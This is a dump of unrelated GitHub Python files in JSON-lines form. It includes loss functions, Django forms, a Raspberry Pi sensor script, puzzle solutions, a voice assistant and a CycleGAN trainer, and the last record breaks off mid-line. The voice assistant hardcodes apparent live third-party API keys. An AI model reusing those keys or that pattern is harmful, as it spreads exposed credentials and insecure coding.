mask.mean(dim = 1)\n loss = torch.pow(mask - self.target, 2)\n return loss.mean()\n \nclass BSCELoss(nn.Module):\n def __init__(self, cls_num_list, tau=1, weight=None):\n super(BSCELoss, self).__init__()\n cls_num_list = torch.cuda.FloatTensor(cls_num_list)\n cls_p_list = cls_num_list / cls_num_list.sum()\n m_list = tau * torch.log(cls_p_list)\n self.m_list = m_list.view(1, -1)\n self.weight = weight\n # self.sampler = normal.Normal(0, 1/3)\n \n def forward(self, x, target):\n # noise = self.sampler.sample(x.shape).clamp(-1, 1).to(x.device)\n # noise = noise.abs() * self.m_list\n x_m = x + self.m_list #- noise\n return F.cross_entropy(x_m, target, weight=self.weight)\n \nclass BCELoss(nn.Module):\n def __init__(self, cls_num_list, tau=1, weight=None):\n super(BCELoss, self).__init__()\n cls_num_list = torch.cuda.FloatTensor(cls_num_list)\n cls_p_list = cls_num_list / cls_num_list.sum()\n m_list = tau * torch.log(cls_p_list)\n self.m_list = m_list.view(1, -1)\n self.weight = weight\n # self.sampler = normal.Normal(0, 1/3)\n \n def forward(self, x, target):\n # noise = self.sampler.sample(x.shape).clamp(-1, 1).to(x.device)\n # noise = noise.abs() * self.m_list\n # print(target.shape)\n # exit()\n gt = target.view(-1, 1)\n batch_size, num_cls = x.shape\n m_list = self.m_list.expand(batch_size, num_cls)\n label = torch.arange(num_cls).expand(batch_size, num_cls).cuda()\n x_m = torch.where(label == gt, x + m_list, x)\n # x_m = x + self.m_list #- noise\n return F.cross_entropy(x_m, target, weight=self.weight)\n \nclass SharpLoss(nn.Module):\n def __init__(self, eps = 1e-5):\n super(SharpLoss, self).__init__()\n self.eps = eps\n \n def forward(self, logits):\n logits = F.softmax(logits, dim = 1)\n ent = - (logits * (logits + self.eps).log()).sum(dim = 1)\n mean = ent.mean()\n \n return mean\n \nclass DivLoss(nn.Module):\n def __init__(self, eps = 1e-5):\n super(DivLoss, self).__init__()\n self.eps = eps\n \n def forward(self, logits):\n logits = F.softmax(logits, dim = 1)\n mean = logits.mean(dim=0)\n ent = - (mean * (mean + self.eps).log()).sum()\n \n return ent\n \nclass SparseLoss(nn.Module):\n def __init__(self, eps = 1e-15):\n super(SparseLoss, self).__init__()\n self.eps = eps\n \n def forward(self, features, labels, cls_num_list):\n \n cls_num_list = torch.cuda.FloatTensor(cls_num_list)\n m_list = torch.log(cls_num_list)\n m_list = m_list-m_list.min()\n m_list = m_list / m_list.max()\n \n idx = torch.index_select(m_list, 0, labels).view(-1, 1)\n \n features_norm = features / (torch.max(features, dim = 1, keepdim = True).values + self.eps)\n \n if features_norm.sum() > 0 :\n shrinked_value = torch.sum(torch.exp(features_norm), dim = 1, keepdim = True)\n \n summed_value = torch.sum(features_norm, dim = 1, keepdim = True)\n \n outputs = - shrinked_value / (summed_value + self.eps)\n \n return outputs.mean()","repo_name":"admins97/Re-ZERO","sub_path":"rezero/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":7414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8667870233","text":"from src.core.exception import CustomException\nfrom src.core.logger import logger\n\n\nclass FileHelper:\n \"\"\"\n Helper class for file operations.\n\n Methods:\n read_file(file_path): Read a file and return its contents.\n write_file(file_path, content): Write given content to a file.\n \"\"\"\n @staticmethod\n def read_file(file_path):\n \"\"\"\n Read a file and return its contents.\n\n Args:\n file_path (str): The path to the file.\n\n Returns:\n str: The contents of the file.\n \"\"\"\n try:\n with open(file_path, 'r') as f:\n content = f.read()\n return content\n except:\n logger.error(f\"Failed to read file {file_path}\")\n raise CustomException()\n\n @staticmethod\n def write_file(file_path, content):\n \"\"\"\n Write given content to a file.\n\n Args:\n file_path (str): The path to the file.\n content (str): The content to be written.\n \"\"\"\n try:\n with open(file_path, 'w') as f:\n f.write(content)\n except:\n logger.error(f\"Failed to write file {file_path}\")\n raise CustomException()","repo_name":"Websoft9/websoft9","sub_path":"apphub/src/utils/file_manager.py","file_name":"file_manager.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"61"} +{"seq_id":"15507125293","text":"from django import forms\nfrom .models import *\n\n\n# fields = '__all__' to display all\n\n\nclass StockCreateForm(forms.ModelForm):\n class Meta:\n model = Stock\n fields = ['category', 'item_name', 'quantity', 'image', 'date']\n\n # def clean_category(self):\n # category = self.cleaned_data.get('category')\n # if not category:\n # raise forms.ValidationError('This Field should not be empty')\n # for something in Stock.objects.all():\n # if something.category == category:\n # raise forms.ValidationError(category + \" Already Exists\")\n # return category\n #\n # def clean_item(self):\n # item = self.cleaned_data.get('item_name')\n # if not item:\n # raise forms.ValidationError('This Field should not be empty')\n # for something in Stock.objects.all():\n # if something.category == item:\n # raise forms.ValidationError(item + \" Already Exists\")\n # return item\n\n\nclass StockHistorySearchForm(forms.ModelForm):\n export_to_CSV = forms.BooleanField(required=False)\n start_date = forms.DateTimeField(required=False)\n end_date = forms.DateTimeField(required=False)\n\n class Meta:\n model = StockHistory\n fields = ['category', 'item_name', 'start_date', 'end_date']\n\n\nclass StockSearchForm(forms.ModelForm):\n export_to_CSV = forms.BooleanField(required=False)\n\n class Meta:\n model = Stock\n fields = ['category', 'item_name']\n\n\nclass StockUpdateForm(forms.ModelForm):\n class Meta:\n model = Stock\n fields = ['category', 'item_name', 'quantity', 'image']\n\n\nclass IssueForm(forms.ModelForm):\n class Meta:\n model = Stock\n fields = ['issue_quantity', 'issued_to']\n\n\nclass ReceiveForm(forms.ModelForm):\n class Meta:\n model = Stock\n fields = ['receive_quantity']\n\n\nclass ReorderLevelForm(forms.ModelForm):\n class Meta:\n model = Stock\n fields = ['re_order']\n\n\nclass DependentDropdownForm(forms.ModelForm):\n class Meta:\n model = Person\n fields = '__all__'\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.fields['state'].queryset = State.objects.none()\n if 'country' in self.data:\n try:\n country_idm = int(self.data.get('country'))\n self.fields['state'].queryset = State.objects.filter(country_id=country_idm).order_by('name')\n except(ValueError, TypeError):\n pass\n elif self.instance.pk:\n self.fields['state'].queryset = self.instance.country.state_set.order_by('name')\n\n self.fields['city'].queryset = City.objects.none()\n if 'state' in self.data:\n try:\n state_idm = int(self.data.get('state'))\n self.fields['city'].queryset = City.objects.filter(state_id=state_idm).order_by('name')\n except(ValueError, TypeError):\n pass\n elif self.instance.pk:\n self.fields['city'].queryset = self.instance.state.city_set.order_by('name')\n\n\nclass AddScrumListForm(forms.ModelForm):\n class Meta:\n\n model = ScrumTitles\n fields = ['lists']\n\n\nclass AddScrumTaskForm(forms.ModelForm):\n class Meta:\n model = Scrums\n fields = ['task', 'task_description', 'task_date']\n\n\nclass ContactsForm(forms.ModelForm):\n class Meta:\n model = Contacts\n fields = '__all__'\n","repo_name":"DonGuillotine/stock-management-system","sub_path":"stock/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":3480,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"23642624161","text":"# Problem C\r\nimport sys, os\r\n\r\ndef ComputePairs(a, b):\r\n pairs = 0\r\n for n in range(a, b+1):\r\n p = 0\r\n for d in MixDigits(n):\r\n if a <= d and d < n: continue\r\n if a <= d and d <= b: pairs += 1\r\n #pairs += newton(p+1, 2)\r\n return pairs\r\n\r\ndef MixDigits(n):\r\n l = []\r\n if n < 10: return l\r\n sn = str(n)\r\n for i in range(len(sn)-1):\r\n sn = sn[1:]+sn[0]\r\n if int(sn) == n: continue\r\n if sn[0] == '0': continue\r\n \r\n l.append(int(sn))\r\n \r\n \r\n return set(l)\r\n\r\ndef fact(n):\r\n if n < 2: return 1\r\n f = 1\r\n for x in range(2,n+1):\r\n f *= x\r\n return f\r\n\r\ndef newton(n,k):\r\n return int(fact(n) / (fact(k) * fact(n-k)))\r\n\r\n\r\n\r\n\r\nT = int(sys.stdin.readline())\r\n\r\nfor t in range(T):\r\n AB = list(map(int, sys.stdin.readline().split()))\r\n A = AB[0]; B = AB[1]\r\n c = ComputePairs(A,B)\r\n\r\n print (\"Case #{case}: {ans}\".format(case = t+1, ans=c))\r\n\r\n \r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_97/1133.py","file_name":"1133.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12118387028","text":"'''\n* 라즈베리파이 센서 키트 Passive Infrared sensor (PIR sensor) 동작 예제\n*\n* 본 예제는 PIR 센서로 물체가 감지되면 LED를 켜고, 시간이 지나 PIR 센서의 감지가 중단되면 LED를 꺼 주는 동작을 합니다.\n* \n* 사용 소자 : LED 1ea, 저항 1ea (220옴), PIR 센서 \n* LED : GPIO 38번 | BCM : 20\n* PIR 센서 \n* VCC 핀 : 5V | GND 핀 : GND\n* OUT : GPIO 40번 | BCM : 21 | wiringPi : 29\n*\n* ※ 모듈 및 LED 연결 시 극성에 주의해 주도록 합니다.\n* PIR 센서는 물체의 움직임이 감지되면 일정 시간동안 OUT 포트로 HIGH 시간을 출력합니다. \n* 감도 및 HIGH 신호 출력 시간은 센서 본체의 가변저항으로 조절할 수 있습니다.\n*\n* 키트 정보 : https://www.eleparts.co.kr/EPXDTWR8\n'''\n\nimport RPi.GPIO as GPIO\nimport time\n\nLED = 20 # LED BCM 핀 번호 정의\nPIR = 21 # PIR 센서 BCM 핀 번호 정의\n\n# GPIO.setwarnings (False) #GPIO 사용중 경고 비활성화 명령, GPIO.cleanup() 사용 시 불필요\n\nGPIO.setmode(GPIO.BCM) #BCM 핀 번호 사용\n\nGPIO.setup(LED, GPIO.OUT) # LED 제어 핀을 출력으로 설정\nGPIO.setup(PIR, GPIO.IN) # PIR 센서 데이터 수신 핀을 입력으로 설정\n\nGPIO.output(LED, False) # LED 초기값 Off\n\n\ntry:\n\n while 1:\n\n if (GPIO.input(PIR)): # PIR 센서로부터 HIGH 신호가 수신되면\n\n GPIO.output(LED, True) # LED On\n time.sleep(0.2) # 0.2초 지연\n else:\n\n GPIO.output(LED, False) # LED Off\n time.sleep(0.2) # 0.2초 지연\n\nfinally:\n GPIO.cleanup() # GPIO 상태 초기화, 없을 경우 예제 재 실행 시 사용중인 GPIO 경고 발생 \n \n\n\n","repo_name":"eleparts/raspi-beginnerKit","sub_path":"2.Raspberry PI Sensor Kit/Python/2.Passive Infrared Sensor.py","file_name":"2.Passive Infrared Sensor.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7115226442","text":"# 10845\n\nimport sys\n\nn = int(sys.stdin.readline())\n\nque = []\nfor _ in range(n):\n ipt = sys.stdin.readline().split()\n word = ipt[0]\n\n if (word == \"push\"):\n que.append(ipt[1])\n\n elif (word == \"pop\"):\n if (len(que) == 0):\n print(-1)\n else:\n print(que.pop(0))\n\n elif (word == \"size\"):\n print(len(que))\n\n elif (word == \"empty\"):\n if (len(que) == 0):\n print(1)\n else:\n print(0)\n\n elif (word == \"front\"):\n if (len(que) == 0):\n print(-1)\n else:\n print(que[0])\n\n elif (word == \"back\"):\n if (len(que) == 0):\n print(-1)\n else:\n print(que[-1])\n","repo_name":"soohyeon21/study","sub_path":"BaekJoon/cpp_151to200/10_s4_10845.py","file_name":"10_s4_10845.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15443412636","text":"import numpy as np \r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom keras.preprocessing.image import load_img, save_img, img_to_array\r\nfrom sklearn.model_selection import train_test_split, cross_val_score, KFold, GridSearchCV\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom PIL import Image, ImageFilter\r\nimport os\r\nfrom skimage import color\r\nfrom skimage import io\r\n\r\ndef preprocess_image(image_path):\r\n \r\n #from keras.applications import vgg19\r\n img = color.rgb2gray(io.imread(image_path))\r\n img = np.ravel(img)\r\n #img = img_to_array(img)\r\n im=img/255\r\n img = img.astype(int)\r\n return img\r\n\r\ndef load_images():\r\n\r\n\tall_paint=[]\r\n\tPath = 'Pinturas/'\r\n\t\r\n\tartists=os.listdir(Path)\r\n\tfor artist in artists:\r\n \t paint=os.listdir(Path+artist)\r\n \t for paints in paint:\r\n \t all_paint.append(preprocess_image(Path+artist+'/'+paints))\r\n\r\n\ttamanho_pinturas = len(all_paint)\r\n\tprint(\"Tamanho do arranjo pinturas = \",tamanho_pinturas)\r\n\t\r\n\t#all_paint=np.stack(all_paint)\r\n\t\r\n\treturn all_paint\r\n\t\r\ndef load_artistas():\r\n\tartistas=[]\r\n\tPath = 'Pinturas/'\r\n\tartists=os.listdir(Path)\r\n\tfor artist in artists:\r\n\t\tpaint=os.listdir(Path+artist)\r\n\t\tfor paints in paint:\r\n\t\t\tartistas.append(artist)\r\n \t \r\n\ttamanho_artistas = len(artistas)\r\n\tprint(\"Tamanho do arranjo artistas = \",tamanho_artistas)\r\n \r\n\treturn artistas\r\n\r\ndef image_to_pandas(image,artista):\r\n\tdf = pd.DataFrame(image)\r\n\tdf.loc[:, 'Pintores'] = artistas \r\n\treturn df\r\n\r\n#pinturas = load_images()\r\n#pintores = load_artistas()\r\n\r\n#pinturas = image_to_pandas(pinturas,pintores)\r\n\r\n#temp_df = pinturas\r\n#temp_df.loc[:,'Pintores'] = pd.factorize(temp_df.Pintores)[0]\r\n\r\n#X_treino, X_teste, Y_treino, Y_teste = train_test_split(all_paint, artistas, test_size=0.25, random_state=42)\r\n\r\n#regr = RandomForestRegressor(max_depth=2, random_state=0, n_estimators=2)\r\n\r\n#regr.fit(all_paint, artistas) \r\n\r\n#print(\"Caracteristicas Random Forest Regressor\")\r\n#print(regr.feature_importances_)\r\n\r\n#ypred = regr.predict(X_teste)\r\n\r\n#kfold = KFold(n_splits=num_folds, random_state=seed)\r\n#cv_resultados = cross_val_score(RandomForestRegressor(max_depth=2, random_state=0, n_estimators=100), X_treino, Y_treino, cv=kfold, scoring=RMS)\r\n#msg = \"Modelo: %s Média: %f (Sigma:%f)\" % (nome, cv_resultados.mean(), cv_resultados.std())\r\n#print(\"KFold\")\r\n#print(msg)\r\n","repo_name":"sophiasl/teste","sub_path":"Pintores.py","file_name":"Pintores.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31809248841","text":"import subprocess \nimport progress\nimport wolframalpha\nimport pyttsx3\nimport tkinter\nimport json\nimport random\nimport operator\nimport speech_recognition as sr\nimport datetime\nimport wikipedia\nimport webbrowser\nimport os\nimport winshell\nimport pyjokes\nimport feedparser\nimport smtplib\nimport ctypes\nimport time\nimport requests\nimport shutil\nfrom bs4 import BeautifulSoup\nimport win32com.client as wincl\nfrom urllib.request import urlopen\n\nengine = pyttsx3.init('sapi5')\nvoices = engine.getProperty('voices')\nengine.setProperty('voice', voices[0].id)\n\n\ndef speak(audio):\n engine.say(audio)\n engine.runAndWait()\n\n\ndef wishMe():\n hour = int(datetime.datetime.now().hour)\n if 0 <= hour < 12:\n speak(\"Good Morning Sir !\")\n\n elif 12 <= hour < 18:\n speak(\"Good Afternoon Sir !\")\n\n else:\n speak(\"Good Evening Sir !\")\n\n name1 = \"Jarvis\"\n speak(\"I am your Assistant\")\n speak(name1)\n\n\ndef username():\n speak(\"What should i call you sir\")\n uname = takeCommand()\n speak(\"Welcome Mister\")\n speak(uname)\n columns = shutil.get_terminal_size().columns\n\n print(\"#####################\".center(columns))\n print(\"Welcome Mr.\", uname.center(columns))\n print(\"#####################\".center(columns))\n\n speak(\"How can i Help you, Sir\")\n\n\ndef takeCommand():\n rr = sr.Recognizer()\n\n with sr.Microphone() as source:\n\n print(\"Listening...\")\n rr.pause_threshold = 1\n audio = rr.listen(source)\n\n try:\n print(\"Recognizing...\")\n query1 = rr.recognize_google(audio, language='en-in')\n print(f\"User said: {query1}\\n\")\n\n except Exception as e1:\n print(e1)\n print(\"Unable to Recognize your voice.\")\n return \"None\"\n\n return query1\n\n\ndef sendEmail(to1, content1):\n server = smtplib.SMTP('smtp.gmail.com', 587)\n server.ehlo()\n server.starttls()\n\n # Enable low security in gmail\n server.login('your email id', 'your email password')\n server.sendmail('your email id', to1, content1)\n server.close()\n\n\nif __name__ == '__main__':\n clear = lambda: os.system('cls')\n\n clear()\n wishMe()\n username()\n\n while True:\n\n query = takeCommand().lower()\n\n if 'wikipedia' in query:\n speak('Searching Wikipedia...')\n query = query.replace(\"wikipedia\", \"\")\n results = wikipedia.summary(query, sentences=3)\n speak(\"According to Wikipedia\")\n print(results)\n speak(results)\n\n elif 'open youtube' in query:\n speak(\"Here you go to Youtube\\n\")\n webbrowser.open(\"youtube.com\")\n\n elif 'open google' in query:\n speak(\"Here you go to Google\\n\")\n webbrowser.open(\"google.com\")\n\n elif 'open stackoverflow' in query:\n speak(\"Here you go to Stack Over flow.Happy coding\")\n webbrowser.open(\"stackoverflow.com\")\n\n elif 'play music' in query or \"play song\" in query:\n speak(\"Here you go with music\")\n music_dir = \"F:\\\\mob backup\\\\Audio\\\\audios\"\n songs = os.listdir(music_dir)\n print(songs)\n os.startfile(os.path.join(music_dir, songs[1]))\n\n elif 'the time' in query:\n strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")\n speak(f\"Sir, the time is {strTime}\")\n\n elif 'email to gaurav' in query:\n try:\n speak(\"What should I say?\")\n content = takeCommand()\n to = \"Receiver email address\"\n sendEmail(to, content)\n speak(\"Email has been sent !\")\n except Exception as e:\n print(e)\n speak(\"I am not able to send this email\")\n\n elif 'send a mail' in query:\n try:\n speak(\"What should I say?\")\n content = takeCommand()\n speak(\"whom should i send\")\n to = input()\n sendEmail(to, content)\n speak(\"Email has been sent !\")\n except Exception as e:\n print(e)\n speak(\"I am not able to send this email\")\n\n elif 'how are you' in query:\n speak(\"I am fine, Thank you\")\n speak(\"How are you, Sir\")\n\n elif 'fine' in query or \"good\" in query:\n speak(\"It's good to know that your fine\")\n\n elif \"change my name to\" in query:\n query = query.replace(\"change my name to\", \"\")\n name1 = query\n\n elif \"change name\" in query:\n speak(\"What would you like to call me, Sir \")\n name1 = takeCommand()\n speak(\"Thanks for naming me\")\n\n elif \"what's your name\" in query or \"What is your name\" in query:\n speak(\"My friends call me\")\n speak(name1)\n print(\"My friends call me\", name1)\n\n elif \"who made you\" in query or \"who created you\" in query:\n speak(\"I have been created by Gaurav.\")\n\n elif 'joke' in query:\n speak(pyjokes.get_joke())\n\n elif \"calculate\" in query:\n\n app_id = \"EWGWUT-6L7YG93QHK\"\n client = wolframalpha.Client(app_id)\n ind = query.lower().split().index('calculate')\n query = query.split()[ind + 1:]\n res = client.query(' '.join(query))\n answer = next(res.results).text\n print(\"The answer is \" + answer)\n speak(\"The answer is \" + answer)\n\n elif 'search' in query or 'play' in query:\n\n query = query.replace(\"search\", \"\")\n query = query.replace(\"play\", \"\")\n webbrowser.open(query)\n\n elif \"who i am\" in query:\n speak(\"If you talk then definitely your human.\")\n\n elif 'ppt' in query:\n speak(\"opening Power Point presentation\")\n power = r\"C:\\\\Users\\\\niroo\\Downloads\\\\VoiceAssistant.pptx\"\n os.startfile(power)\n\n elif 'is love' in query:\n speak(\"It is 7th sense that destroy all other senses\")\n\n elif \"who are you\" in query:\n speak(\"I am your virtual assistant created by Neeroop\")\n\n elif 'reason for you' in query:\n speak(\"I was created as a Minor project by Mister Neeroop \")\n\n elif 'change background' in query:\n ctypes.windll.user32.SystemParametersInfoW(20,\n 0,\n \"Location of wallpaper\",\n 0)\n speak(\"Background changed successfully\")\n\n elif 'news' in query:\n\n try:\n jsonObj = urlopen(\n '''https://newsapi.org/v2/top-headlines?country=in&apiKey=ceb58e1bdd5843d1a31407c0bc787303''')\n data = json.load(jsonObj)\n i = 1\n\n speak('here are some top news of india')\n print('''=============== Top News OF INDIA ============''' + '\\n')\n\n for item in data['articles']:\n print(str(i) + '. ' + item['title'] + '\\n')\n print(item['description'] + '\\n')\n speak(str(i) + '. ' + item['title'] + '\\n')\n i += 1\n except Exception as e:\n\n print(str(e))\n\n elif 'lock window' in query:\n speak(\"locking the device\")\n ctypes.windll.user32.LockWorkStation()\n\n elif 'shutdown system' in query:\n speak(\"Hold On a Sec ! Your system is on its way to shut down\")\n subprocess.call('shutdown / p /f')\n\n elif 'empty recycle bin' in query:\n winshell.recycle_bin().empty(confirm=False, show_progress=False, sound=True)\n speak(\"Recycle Bin Recycled\")\n\n elif \"don't listen\" in query or \"stop listening\" in query:\n speak(\"for how much time you want to stop jarvis from listening commands\")\n a = int(takeCommand())\n time.sleep(a)\n print(a)\n\n elif \"where is\" in query:\n query = query.replace(\"where is\", \"\")\n location = query\n speak(\"User asked to Locate\")\n speak(location)\n webbrowser.open(\"https://www.google.com/maps/place/\" + location + \"\")\n\n elif \"restart\" in query:\n subprocess.call([\"shutdown\", \"/r\"])\n\n elif \"hibernate\" in query or \"sleep\" in query:\n speak(\"Hibernating\")\n subprocess.call(\"shutdown / h\")\n\n elif \"log off\" in query or \"sign out\" in query:\n speak(\"Make sure all the application are closed before sign-out\")\n time.sleep(5)\n subprocess.call([\"shutdown\", \"/l\"])\n\n elif \"write a note\" in query:\n speak(\"What should i write, sir\")\n note = takeCommand()\n file = open('jarvis.txt', 'w')\n speak(\"Sir, Should i include date and time\")\n snfm1 = takeCommand()\n if 'yes' in snfm1 or 'sure' in snfm1:\n strTime = datetime.datetime.now().strftime(\"%m-%d-%Y %H:%I%p\")\n file.write(strTime)\n file.write(\" :- \")\n file.write(note)\n else:\n file.write(note)\n\n elif \"show note\" in query:\n speak(\"Showing Notes\")\n file = open(\"jarvis.txt\", \"r\")\n print(file.read())\n speak(file.read(6))\n\n elif \"update assistant\" in query:\n speak(\"After downloading file please replace this file with the downloaded one\")\n url = '# url after uploading file'\n r = requests.get(url, stream=True)\n\n with open(\"Voice.py\", \"wb\") as Pypdf:\n\n total_length = int(r.headers.get('content-length'))\n\n for ch in progress.bar(r.iter_content(chunk_size=2391975),\n expected_size=(total_length / 1024) + 1):\n if ch:\n Pypdf.write(ch)\n elif \"jarvis\" in query:\n\n wishMe()\n speak(\"Jarvis 1 point o in your service Mister\")\n speak(name1)\n\n elif \"weather\" in query:\n\n # Google Open weather website\n # to get API of Open weather\n api_key = \"c32a08e413a226cc307e5195418cf171\"\n base_url = \"http://api.openweathermap.org/data/2.5/weather?q={}&APPID={}&units=metric\";\n speak(\" City name \")\n print(\"City name : \")\n city_name = takeCommand()\n complete_url = base_url + \"appid =\" + api_key + \"&q =\" + city_name\n response = requests.get(base_url.format(city_name, api_key))\n x = response.json()\n if x[\"cod\"] != \"404\":\n y = x[\"main\"]\n current_temperature = y[\"temp\"]\n current_pressure = y[\"pressure\"]\n current_humidiy = y[\"humidity\"]\n z = x[\"weather\"]\n weather_description = z[0][\"description\"]\n print(\" Temperature (in kelvin unit) = \" + str(\n current_temperature) + \"\\n atmospheric pressure (in hPa unit) =\" + str(\n current_pressure) + \"\\n humidity (in percentage) = \" + str(\n current_humidiy) + \"\\n description = \" + str(weather_description))\n\n speak(\" Temperature (in kelvin unit) is \" + str(\n current_temperature) + \"\\n atmospheric pressure (in hPa unit) is\" + str(\n current_pressure) + \"\\n humidity (in percentage) is \" + str(\n current_humidiy) + \"\\n description is \" + str(weather_description))\n else:\n speak(\" City Not Found \")\n\n elif \"wikipedia\" in query:\n webbrowser.open(\"wikipedia.com\")\n\n elif \"Good Morning\" in query:\n speak(\"A warm\" + query)\n speak(\"How are you Mister\")\n speak(name1)\n\n # most asked question from google Assistant\n\n elif \"how are you\" in query:\n speak(\"I'm fine, glad you me that\")\n\n elif \"what is\" in query or \"who is\" in query:\n\n # Use the same API key\n # that we have generated earlier\n client = wolframalpha.Client(\"EWGWUT-6L7YG93QHK\")\n res = client.query(query)\n\n try:\n print(next(res.results).text)\n speak(next(res.results).text)\n except StopIteration:\n print(\"No results\")\n\n elif \"bye\" in query:\n speak(\"Thank you for giving me your time!!\")\n exit(0)\n\n\n\n","repo_name":"Niroop-07/Python-Based-Voice-Assistant","sub_path":"Code.py","file_name":"Code.py","file_ext":"py","file_size_in_byte":12603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14522208631","text":"from pathlib import Path\n\nimport dask.dataframe as dd\nfrom dask_ml.cluster import KMeans\n\nfrom mlbench.utils import parquet_as_known, timings, timed, load_config\n\n\ndef read(cfg):\n df = dd.read_parquet(\"/tmp/foo.parq/\")\n X = parquet_as_known(df, \"/tmp/foo.parq/_metadata\")\n X = X.persist()\n return X\n\n\n@timed\ndef fit(cfg, km, X):\n km.fit(X)\n return km\n\n\ndef main():\n cfg = Path(__file__).parent.joinpath(\"kmeans_config.yaml\")\n cfg = load_config(str(cfg))\n kmeans = KMeans(n_clusters=3, random_state=0)\n X = read(cfg)\n fit(cfg, kmeans, X)\n print(timings)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"TomAugspurger/mlbench","sub_path":"mlbench/kmeans_dask_bench.py","file_name":"kmeans_dask_bench.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40472367004","text":"\nimport keras\nfrom gc import callbacks\nfrom os import listdir\nfrom unittest.mock import call\nfrom numpy import asarray\nfrom numpy import vstack\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import load_img\nimport tensorboard\nfrom tensorflow.python.keras.callbacks import TensorBoard\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n\n\n# load all images in a directory into memory\ndef load_images(path, size=(256,256)):\n\tdata_list = list()\n\t# enumerate filenames in directory, assume all are images\n\tfor filename in listdir(path):\n\t\t# load and resize the image\n\t\tpixels = load_img(path + filename, target_size=size)\n\t\t# convert to numpy array\n\t\tpixels = img_to_array(pixels)\n\t\t# store\n\t\tdata_list.append(pixels)\n\treturn asarray(data_list)\n\n\n# dataset path\npath = 'Tennis player to fake person/'\n\n# load dataset A - Monet paintings\ndataA_all = load_images(path + 'trainA/')\nprint('Loaded dataA: ', dataA_all.shape)\n\nfrom sklearn.utils import resample\n#To get a subset of all images, for faster training during demonstration\ndataA = resample(dataA_all, \n replace=False, \n n_samples=178, \n random_state=42) \n\n# load dataset B - Photos \ndataB_all = load_images(path + 'trainB/')\nprint('Loaded dataB: ', dataB_all.shape)\ndataB = resample(dataB_all, \n replace=False, \n n_samples=1512, \n random_state=42) \n\n# plot source images\nn_samples = 3\nfor i in range(n_samples):\n\tplt.subplot(2, n_samples, 1 + i)\n\tplt.axis('off')\n\tplt.imshow(dataA[i].astype('uint8'))\n# plot target image\nfor i in range(n_samples):\n\tplt.subplot(2, n_samples, 1 + n_samples + i)\n\tplt.axis('off')\n\tplt.imshow(dataB[i].astype('uint8'))\nplt.show()\n\n\n\n# load image data\ndata = [dataA, dataB]\n\nprint('Loaded', data[0].shape, data[1].shape)\n\n#Preprocess data to change input range to values between -1 and 1\n# This is because the generator uses tanh activation in the output layer\n#And tanh ranges between -1 and 1\ndef preprocess_data(data):\n\t# load compressed arrays\n\t# unpack arrays\n\tX1, X2 = data[0], data[1]\n\t# scale from [0,255] to [-1,1]\n\tX1 = (X1 - 127.5) / 127.5\n\tX2 = (X2 - 127.5) / 127.5\n\treturn [X1, X2]\n\ndataset = preprocess_data(data)\n\nfrom cycleGAN_model import define_generator, define_discriminator, define_composite_model, train\n# define input shape based on the loaded dataset\nimage_shape = dataset[0].shape[1:]\n\ng_model_AtoB = define_generator(image_shape)\n\ng_model_BtoA = define_generator(image_shape)\n\nd_model_A = define_discriminator(image_shape)\n\nd_model_B = define_discriminator(image_shape)\n\nc_model_AtoB = define_composite_model(g_model_AtoB, d_model_B, g_model_BtoA, image_shape)\n\nc_model_BtoA = define_composite_model(g_model_BtoA, d_model_A, g_model_AtoB, image_shape)\n\nfrom datetime import datetime, time \nstart1 = datetime.now() \n# train models\ntrain(d_model_A, d_model_B, g_model_AtoB, g_model_BtoA, c_model_AtoB, c_model_BtoA, dataset, epochs=5)\nstop1 = datetime.now()\n#Execution time of the model \nexecution_time = stop1-start1\nprint(\"Execution time is: \", execution_time)\n\n############################################\n\nfrom instancenormalization import InstanceNormalization \nfrom keras.models import load_model\nfrom matplotlib import pyplot\nfrom numpy.random import randint\n\n\ndef select_sample(dataset, n_samples):\n\t# choose random instances\n\tix = randint(0, dataset.shape[0], n_samples)\n\t# retrieve selected images\n\tX = dataset[ix]\n\treturn X\n\n\ndef show_plot(imagesX, imagesY1, imagesY2):\n\timages = vstack((imagesX, imagesY1, imagesY2))\n\ttitles = ['Real', 'Generated', 'Reconstructed']\n\t# scale from [-1,1] to [0,1]\n\timages = (images + 1) / 2.0\n\t# plot images row by row\n\tfor i in range(len(images)):\n\t\t# define subplot\n\t\tpyplot.subplot(1, len(images), 1 + i)\n\t\t# turn off axis\n\t\tpyplot.axis('off')\n\t\t# plot raw pixel data\n\t\tpyplot.imshow(images[i])\n\t\t# title\n\t\tpyplot.title(titles[i])\n\tpyplot.show()\n\n# load dataset\nA_data = resample(dataA_all, \n replace=False, \n n_samples=50, \n random_state=42) # reproducible results\n\nB_data = resample(dataB_all, \n replace=False, \n n_samples=50, \n random_state=42) # reproducible results\n\nA_data = (A_data - 127.5) / 127.5\nB_data = (B_data - 127.5) / 127.5\n\n\n# load the models\ncust = {'InstanceNormalization': InstanceNormalization}\nmodel_AtoB = load_model('g_model_AtoB_000178.h5', 